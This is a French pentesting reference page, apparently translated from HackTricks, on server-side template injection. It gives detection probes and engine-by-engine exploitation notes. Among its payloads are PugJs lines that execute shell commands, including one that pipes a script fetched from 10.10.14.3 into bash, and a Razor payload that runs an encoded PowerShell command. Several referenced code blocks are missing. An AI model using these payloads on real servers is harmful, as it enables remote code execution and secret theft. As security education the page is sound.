SSTI (Server Side Template Injection)
RootedCON est l'événement de cybersécurité le plus pertinent en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
Qu'est-ce que l'injection de modèle côté serveur (SSTI)
L'injection de modèle côté serveur est une vulnérabilité qui se produit lorsqu'un attaquant peut injecter du code malveillant dans un modèle qui est exécuté sur le serveur. Cette vulnérabilité peut être trouvée dans diverses technologies, y compris Jinja.
Jinja est un moteur de modèle populaire utilisé dans les applications web. Considérons un exemple qui illustre un extrait de code vulnérable utilisant Jinja:
Dans ce code vulnérable, le paramètre name
de la requête de l'utilisateur est directement passé dans le modèle à l'aide de la fonction render
. Cela pourrait potentiellement permettre à un attaquant d'injecter du code malveillant dans le paramètre name
, entraînant une injection de modèle côté serveur.
Par exemple, un attaquant pourrait créer une requête avec une charge utile comme ceci :
Le payload {{mauvaises-informations-ici}}
est injecté dans le paramètre name
. Ce payload peut contenir des directives de modèle Jinja qui permettent à l'attaquant d'exécuter du code non autorisé ou de manipuler le moteur de modèle, potentiellement prenant le contrôle du serveur.
Pour prévenir les vulnérabilités d'injection de modèle côté serveur, les développeurs doivent s'assurer que les entrées utilisateur sont correctement nettoyées et validées avant d'être insérées dans les modèles. Mettre en place une validation des entrées et utiliser des techniques d'échappement contextuel peut aider à atténuer le risque de cette vulnérabilité.
Détection
Pour détecter l'injection de modèle côté serveur (SSTI), initialement, fuzzer le modèle est une approche directe. Cela implique d'injecter une séquence de caractères spéciaux (${{<%[%'"}}%\
) dans le modèle et d'analyser les différences dans la réponse du serveur entre des données régulières et cette charge spéciale. Les indicateurs de vulnérabilité incluent :
Des erreurs renvoyées, révélant la vulnérabilité et potentiellement le moteur de modèle.
Absence de la charge dans la réflexion, ou des parties manquantes, impliquant que le serveur la traite différemment des données régulières.
Contexte en texte clair : Différencier des XSS en vérifiant si le serveur évalue les expressions de modèle (par exemple,
{{7*7}}
,${7*7}
).Contexte de code : Confirmer la vulnérabilité en modifiant les paramètres d'entrée. Par exemple, changer
greeting
danshttp://site-web-vulnérable.com/?greeting=data.username
pour voir si la sortie du serveur est dynamique ou fixe, comme dansgreeting=data.username}}hello
renvoyant le nom d'utilisateur.
Phase d'Identification
Identifier le moteur de modèle implique d'analyser les messages d'erreur ou de tester manuellement diverses charges spécifiques à chaque langage. Les charges courantes provoquant des erreurs incluent ${7/0}
, {{7/0}}
, et <%= 7/0 %>
. Observer la réponse du serveur aux opérations mathématiques aide à cibler le moteur de modèle spécifique.
Outils
un scanner efficace de SSTI + CSTI qui utilise des polyglottes novateurs
un tableau interactif contenant les polyglottes d'injection de modèle les plus efficaces ainsi que les réponses attendues des 44 moteurs de modèle les plus importants.
Exploits
Générique
Dans cette liste de mots, vous pouvez trouver les variables définies dans les environnements de certains des moteurs mentionnés ci-dessous :
Java
Java - Injection de base
Java - Récupérer les variables d'environnement du système
Java - Récupérer /etc/passwd
FreeMarker (Java)
Vous pouvez essayer vos charges utiles sur https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Rien
${foobar}
Freemarker - Contournement du bac à sable
⚠️ fonctionne uniquement sur les versions de Freemarker inférieures à 2.3.30
Plus d'informations
Dans la section FreeMarker de https://portswigger.net/research/server-side-template-injection
Velocity (Java)
Plus d'informations
Dans la section Velocity de https://portswigger.net/research/server-side-template-injection
Thymeleaf
Dans Thymeleaf, un test courant pour les vulnérabilités SSTI est l'expression ${7*7}
, qui s'applique également à ce moteur de template. Pour une éventuelle exécution de code à distance, des expressions comme celles-ci peuvent être utilisées :
SpringEL:
OGNL:
Thymeleaf exige que ces expressions soient placées dans des attributs spécifiques. Cependant, l'insertion d'expression est prise en charge pour d'autres emplacements de template, en utilisant une syntaxe comme [[...]]
ou [(...)]
. Ainsi, une charge utile de test SSTI simple pourrait ressembler à [[${7*7}]]
.
Cependant, la probabilité que cette charge utile fonctionne est généralement faible. La configuration par défaut de Thymeleaf ne prend pas en charge la génération dynamique de templates ; les templates doivent être prédéfinis. Les développeurs devraient mettre en œuvre leur propre TemplateResolver
pour créer des templates à partir de chaînes à la volée, ce qui est rare.
Thymeleaf offre également un prétraitement des expressions, où les expressions entre doubles tirets bas (__...__
) sont prétraitées. Cette fonctionnalité peut être utilisée dans la construction d'expressions, comme le montre la documentation de Thymeleaf :
Exemple de Vulnérabilité dans Thymeleaf
Considérez le code suivant, qui pourrait être susceptible à l'exploitation :
Cela indique que si le moteur de template traite ces entrées de manière incorrecte, cela pourrait entraîner l'exécution de code à distance accédant aux URL suivantes :
Plus d'informations
Cadre Spring (Java)
Contourner les filtres
Plusieurs expressions de variables peuvent être utilisées, si ${...}
ne fonctionne pas, essayez #{...}
, *{...}
, @{...}
ou ~{...}
.
Lire
/etc/passwd
Script personnalisé pour la génération de payload
Plus d'informations
Manipulation de la vue Spring (Java)
Pebble (Java)
{{ someString.toUPPERCASE() }}
Ancienne version de Pebble ( < version 3.0.9):
Nouvelle version de Pebble :
Jinjava (Java)
Jinjava est un moteur de template Java qui prend en charge l'injection de template côté serveur (SSTI). Il est utilisé dans divers frameworks Java tels que Spring Boot. Les attaquants peuvent exploiter les vulnérabilités SSTI pour exécuter du code arbitraire sur le serveur.
Jinjava est un projet open source développé par Hubspot, disponible sur https://github.com/HubSpot/jinjava/
Jinjava - Exécution de commandes
Corrigé par https://github.com/HubSpot/jinjava/pull/230
Plus d'informations
Hubspot - HuBL (Java)
Délimiteurs d'instructions
{% %}
Délimiteurs d'expressions
{{ }}
Délimiteurs de commentaires
{# #}
{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Recherche de "com.hubspot.content.hubl.context.TemplateContextRequest" et découverte du projet Jinjava sur Github.
Plus d'informations
Langage d'Expression - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Le Langage d'Expression (EL) est une fonctionnalité fondamentale qui facilite l'interaction entre la couche de présentation (comme les pages web) et la logique de l'application (comme les beans gérés) en JavaEE. Il est largement utilisé dans de multiples technologies JavaEE pour rationaliser cette communication. Les principales technologies JavaEE utilisant EL incluent :
JavaServer Faces (JSF) : Utilise EL pour lier les composants des pages JSF aux données et actions backend correspondantes.
JavaServer Pages (JSP) : EL est utilisé dans JSP pour accéder et manipuler les données au sein des pages JSP, facilitant la connexion des éléments de la page aux données de l'application.
Contexts and Dependency Injection for Java EE (CDI) : EL s'intègre à CDI pour permettre une interaction transparente entre la couche web et les beans gérés, assurant une structure d'application plus cohérente.
Consultez la page suivante pour en savoir plus sur l'exploitation des interpréteurs EL :
EL - Expression LanguageGroovy (Java)
Les contournements du gestionnaire de sécurité suivants ont été extraits de ce article.
RootedCON est l'événement le plus pertinent en matière de cybersécurité en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
Smarty (PHP)
Plus d'informations
Dans la section Smarty de https://portswigger.net/research/server-side-template-injection
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
Twig - Format de modèle
Plus d'informations
Dans la section Twig et Twig (Sandboxed) de https://portswigger.net/research/server-side-template-injection
Plates (PHP)
Plates est un moteur de modèle natif à PHP, s'inspirant de Twig. Cependant, contrairement à Twig, qui introduit une nouvelle syntaxe, Plates utilise du code PHP natif dans les modèles, le rendant intuitif pour les développeurs PHP.
Contrôleur :
Modèle de page :
Modèle de mise en page :
Plus d'informations
PHPlib et HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB est identique à PHPlib mais porté sur Pear.
authors.tpl
authors.php
Plus d'informations
Jade (NodeJS)
Plus d'informations
Dans la section Jade de https://portswigger.net/research/server-side-template-injection
patTemplate (PHP)
patTemplate moteur de template PHP non compilant, qui utilise des balises XML pour diviser un document en différentes parties
Plus d'informations
Handlebars (NodeJS)
Traversal de chemin (plus d'informations ici).
= Erreur
${7*7} = ${7*7}
Rien
Plus d'informations
JsRender (NodeJS)
Modèle | Description |
Évaluer et afficher la sortie | |
Évaluer et afficher la sortie encodée en HTML | |
Commentaire | |
et | Autoriser le code (désactivé par défaut) |
= 49
Côté client
Côté Serveur
Plus d'informations
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Exemple de rendu côté serveur
Plus d'informations
NUNJUCKS (NodeJS)
{{7*7}} = 49
{{foo}} = Aucune sortie
#{7*7} = #{7*7}
{{console.log(1)}} = Erreur
Plus d'informations
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Erreur
Plus d'informations
Slim (Ruby)
{ 7 * 7 }
Plus d'informations
Python
Consultez la page suivante pour apprendre des astuces sur l'exécution de commandes arbitraires en contournant les sandbox en python :
Bypass Python sandboxesTornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
Plus d'informations
Jinja2 (Python)
Jinja2 est un moteur de template complet pour Python. Il prend en charge l'unicode complet, un environnement d'exécution sandboxé intégré en option, est largement utilisé et sous licence BSD.
{{7*7}} = Erreur
${7*7} = ${7*7}
{{foobar}} Rien
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
Jinja2 - Format de modèle
RCE non dépendant de __builtins__
:
Plus de détails sur comment abuser de Jinja:
Jinja2 SSTIAutres charges utiles dans https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
Plus d'informations
Razor (.Net)
@(2+2) <= Succès
@() <= Succès
@("{{code}}") <= Succès
@ <= Succès
@{} <= ERREUR!
@{ <= ERREUR!
@(1+2)
@( //Code C# )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AZQB0ADYANAAuAGUAeABlAA==");
La méthode .NET System.Diagnostics.Process.Start
peut être utilisée pour démarrer n'importe quel processus sur le serveur et ainsi créer un shell web. Vous pouvez trouver un exemple d'application web vulnérable sur https://github.com/cnotin/RazorVulnerableApp
Plus d'informations
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Rien<%= response.write(date()) %>
= <Date>
Plus d'informations
Mojolicious (Perl)
Même s'il s'agit de perl, il utilise des balises comme ERB en Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Erreur
SSTI en GO
Dans le moteur de template de Go, la confirmation de son utilisation peut être faite avec des charges spécifiques :
{{ . }}
: Révèle la structure des données en entrée. Par exemple, si un objet avec un attributPassword
est passé,{{ .Password }}
pourrait l'exposer.{{printf "%s" "ssti" }}
: Devrait afficher la chaîne "ssti".{{html "ssti"}}
,{{js "ssti"}}
: Ces charges devraient renvoyer "ssti" sans ajouter "html" ou "js". D'autres directives peuvent être explorées dans la documentation de Go ici.
Exploitation XSS
Avec le package text/template
, les attaques XSS peuvent être directes en insérant la charge directement. En revanche, le package html/template
encode la réponse pour empêcher cela (par exemple, {{"<script>alert(1)</script>"}}
donne <script>alert(1)</script>
). Néanmoins, la définition et l'invocation de modèles en Go peuvent contourner cet encodage : {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copier le code
Exploitation RCE
L'exploitation RCE diffère significativement entre html/template
et text/template
. Le module text/template
permet d'appeler directement n'importe quelle fonction publique (en utilisant la valeur "call"), ce qui n'est pas autorisé dans html/template
. La documentation de ces modules est disponible ici pour html/template et ici pour text/template.
Pour l'exploitation RCE via SSTI en Go, les méthodes d'objet peuvent être invoquées. Par exemple, si l'objet fourni a une méthode System
exécutant des commandes, elle peut être exploitée comme {{ .System "ls" }}
. L'accès au code source est généralement nécessaire pour exploiter cela, comme dans l'exemple donné :
Plus d'informations
Plus d'exploits
Consultez le reste de https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection pour plus d'exploits. Vous pouvez également trouver des informations intéressantes sur les balises dans https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Aide connexe
Si vous pensez que cela pourrait être utile, lisez :
Outils
Liste de détection de force brute
Pratique & Références
RootedCON est l'événement le plus pertinent en matière de cybersécurité en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
Last updated